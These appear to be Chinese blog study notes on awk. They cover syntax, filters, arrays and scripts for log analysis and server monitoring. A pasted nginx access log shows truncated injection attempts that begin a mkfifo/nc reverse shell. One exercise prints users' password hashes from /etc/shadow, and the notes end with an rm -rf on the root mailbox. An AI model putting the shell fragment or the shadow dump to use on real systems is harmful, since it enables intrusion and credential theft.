shell三剑客之awk学习笔记
shell三剑客之awk学习笔记

AWK 是一种用于处理文本的编程语言工具。AWK 在很多方面类似于 shell 编程语言,AWK也 具有完全属于其本身的语法。在最初创造 AWK 时,其目的是用于文本处理,并且这种语言的基础是,只要在输入数据中有模式匹配,就执行一系列指令。该实用工具扫描文件中的每一行,查找与命令行中所给定内容相匹配的模式。如果发现匹配内容,则进行下一个编程步骤。如果找不到匹配内容,则继续处理下一行.
简单来说 awk 是一个处理文本的工具,它的特点是精确搜索,逐行处理
awk
格式一 awk '/匹配规则/{执行命令}' [目标文本]
格式二 awk 'BEGIN{执行命令}{执行命令}END{执行命令}' 目标文本
BEGIN{} 在对文本操作之前执行 {对文本进行过滤} END{}对文本操作之后执行
-F 定义分隔符 (默认分隔符是空格)
指令 print 输出
awk 内置变量(常用)
$1-$n 不同的列
$0 所有列
NR 行号
NF 列号
1,输出
awk '{print}' test //输出所有行所有列
awk '{print $1}' test //输出所有行第1列
awk '{print $2}' test //输出所有行第2列
awk '{print $1,$2}' test //输出所有行第1列 第2列
awk '{print $3,$1}' test //输出所有行第3列 第1列
awk '{print $0}' test //输出所有行所有列
awk '{print $3,$0}' test //输出所有行第3列 所有列
awk -F: '{print $1}' /etc/passwd //定义:作为分隔符,然后输出第1列
awk -F[:/] '{print $1}' /etc/passwd //定义:或者/作为分隔符
正则匹配输出
awk '/root/{print}' user 输出有root的行,print可以省略
awk '/root|bin/{print}' user 输出有root或者bin的行
awk '/^root|^bin/{print}' user 输出以root开头或bin开头的行
awk '/^root|^bin/' user 效果同上
awk -F: '$1~/root/{print}' user 输出第1列包含root的行
awk -F: '$1~/root/' user 效果同上{}只有print可以省略
awk -F: '$6~/root/' user 输出第6列包含root的行
awk -F: '$1!~/root/' user 输出第1列不包含root的行
2,数字或者字符串作为条件
== != > < >= <=
awk 'NR==2' user 输出第2行
awk -F: '$1=="root"' user 输出第1列是root的行
awk -F: '$1~/root/' user 输出第1列包含root的行
awk -F: '$1!="root"' user 输出第1列不是root的行
awk 'NR>2' user 输出大于2的行
awk 'NR>=2' user 输出大于等于2的行
awk 'NR<2' user ...
awk 'NR<=2' user ...
awk -F: '$3<=10' /etc/passwd 输出第3列小于等于10的行
3, 逻辑组合
&& 并且 || 或者
awk 'NR>=1&&NR<=3' user 输出1~3行
awk -F: '$3>=10&&$3<=20' /etc/passwd 输出第3列是10~20的行
awk -F: '$3<=5||$3>=1000' /etc/passwd 输出第3列小于等于5或者大于等于1000的行
awk -F: '$3<10||$3>1000' /etc/passwd 输出第3列小于10或者大于1000的行
awk -F: '$3<10&&$3>1000' /etc/passwd 不存在的数字,逻辑错误
输出/etc/hosts文件内以127或172开头的记录
awk -F. '$1==127||$1==172' /etc/hosts
4.运算
列出100以内整数中7的倍数或是含7的数
seq 100 | awk '$1%7==0||$1~/7/'
awk 'BEGIN{print 1+1}' 加
awk 'BEGIN{print 1-1}' 减
awk 'BEGIN{print 2*2}' 乘
awk 'BEGIN{print 2/2}' 除
awk 'BEGIN{print 2%2}' 取余数
awk 'BEGIN{a=10;print a}' 定义变量,然后输出
awk 'BEGIN{a=10print a}' 报语法错误
awk 'BEGIN{a=10;a++;print a}' 定义变量,运算,再输出
awk 'BEGIN{a=10;a++;print a+=10}' 定义变量,运算,输出时再运算
awk的if判断
单分支
{if(条件){执行指令}}
计算系统中普通账户的数量:
awk -F: '{if($3>=1000){x++}}END{print x}' /etc/passwd
awk '{ }END{ }'
双分支
{if(条件){执行指令1}else{执行指令2}}
计算系统中普通账户和系统账户的数量:
awk -F: '{if($3>=1000){x++}else{y++}}END{print x,y}' /etc/passwd
多分支
{if(条件1){执行指令1}else if(条件2){执行指令2}else{执行指令3}}
awk 数组
变量 可以存储1个值
数组 可以存储多个值
变量名=值
数组名[下标]=值
a[1]=10
a[2]=20
awk 'BEGIN{a[1]=10;a[2]=20;print a[2],a[1]}'
for(变量名称 in 值){执行指令}
awk数组+for循环基本用法:
awk 'BEGIN{a[0]=0;a[1]=11;a[2]=22; for(i in a){print i,a[i]}}' //定义一个数组a, 有3个下标,分别对应3个值, 然后交给for循环,循环显示 下标 和 值
awk数组+for循环扩展应用 :
准备文档包含3行内容
abc
abc
xyz
awk '{a[$1]++}END{for(i in a){print i,a[i]}}' abc
a[abc]++ a[abc]=2
a[xyz]++ a[xyz]=1
abc 2
xyz 1
ip[192.168.0.1]=2
ip[192.168.0.2]=1
ip[192.168.0.3]=3
练习:
使用awk按 用户名 --> 密码 的格式输出使用bash的用户
#!/bin/bash
u=`awk -F: '/bash$/{print $1}' /etc/passwd`
for i in $u
do
grep $i /etc/shadow | awk -F: '{print $1"-->"$2}'
done
取出网卡的流量信息
[root@Proxy ~]# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.4.101 netmask 255.255.255.0 broadcast 192.168.4.255
ether 52:54:00:29:f6:88 txqueuelen 1000 (Ethernet)
RX packets 16812 bytes 1093606 (1.0 MiB) //接受流量
RX errors 0 dropped 11042 overruns 0 frame 0
TX packets 3987 bytes 492976 (481.4 KiB) //发送流量
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
[root@Proxy ~]#
[root@Proxy ~]# ifconfig eth0 | awk -F[\(\)] '/RX p/{print "eth0的接收流量:"$2}'
eth0的接收流量:1.0 MiB
取出网卡IP地址:
[root@room9pc01 ~]# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 176.52.12.11 netmask 255.255.255.0 broadcast 176.52.12.255
inet6 fe80::52f3:51fe:5ee5:6b5e prefixlen 64 scopeid 0x20<link>
ether d8:9e:f3:2c:0e:94 txqueuelen 1000 (Ethernet)
RX packets 937678 bytes 75865795 (72.3 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 7087333 bytes 10122538906 (9.4 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 2 bytes 140 (140.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2 bytes 140 (140.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
[yst@room9pc01 ~]$ ifconfig eth0 | grep 'inet ' | awk '{print "eth0的IP: "$2}'
eth0的IP: 176.52.12.11
统计出访问日志里的ip访问量(这里我看的是nginx的日志,没装的话可以看系统的访问日志)
[yst@nginx ]$ cat access.log
182.68.253.24 - - ...............xec%20cmd=%22mkfifo%20/tmp/s;nc%20-
37.49.226.137 - - ...........................................;nc%20-
114.55.37.228 - - [01/Mar............................../ HTTP/1.1" 2
... ...
[yst@mginx ]$ cat /var/log/nginx/access.log | awk '{a[$1]++}END{for(i in a){print a[i],i}}'
1 203.208.60.0
1 203.208.60.111
1 37.49.226.137
1 162.72.7.27
1 80.82.70.187
2 36.99.136.143
1 125.25.204.90
2 139.199.182.244
2 14.18.182.223
6 36.102.239.48
1 116.148.31.65
1 81.39.61.251
1 182.68.253.24
1 209.141.61.79
1 109.94.124.199
1 202.107.222.142
2 114.55.37.228
1 203.208.60.28
8 36.157.92.39
1 189.15.160.38
2 222.186.19.221
[yst@yst ~]$
使用awk统计网站访问量:
1,yum -y install httpd
2,systemctl restart httpd 开启服务
3,使用其他主机访问该网站,多访问几次
防火墙需要临时关闭 systemctl stop firewalld
4, 使用awk对日志分析, sort可以排序, -n对数字排序, -r降序
awk '{ip[$1]++}END{for(i in ip){print ip[i],i}}' access_log | sort -nr
5, 可以使用ab工具测试网站后在交给awk分析(安装httpd之后自动安装ab工具)
ab -n 10000 -c 1 172.25.0.10/ 1个用户访问1万次网站
#!/bin/bash
while :
do
uptime | awk '{print "cpu平均负载是"$10,$11,$12}'
ifconfig eth0 | awk '/RX p/{print "网卡接收的数据量 是" $5"字节"}'
ifconfig eth0 | awk '/TX p/{print "网卡发送的数据量 是" $5"字节"}'
free -m | awk '/Mem/{print "剩余内存容量是"$4"M"}'
df -h | awk '/vda1/{print "根分区剩余容量是"$4}'
user=`cat /etc/passwd | wc -l`
echo "服务器拥有账户数量是$user个"
u=`who | wc -l`
echo "当前服务器登录用户的数量是$u个"
p=`ps aux | wc -l`
echo "当前主机运行的进程数量是$p个"
ins=`rpm -qa |wc -l`
echo "当前主机安装软件包数量是$ins个"
sleep 3
clear
done
编写脚本,监控服务器,如果发现有人尝试登录失败5次则发邮件给管理员
#!/bin/bash
x=`awk '/Failed/{ip[$11]++}END{for(i in ip){print ip[i]","i}}' /var/log/secure`
for i in $x
do
n=${i%,*}
p=${i#*,}
[ $n -ge 5 ] && echo "$p访问失败了$n次" | mail -s test root
done
测试前可以先删除邮件
rm -rf /var/spool/mail/root

浙公网安备 33010602011771号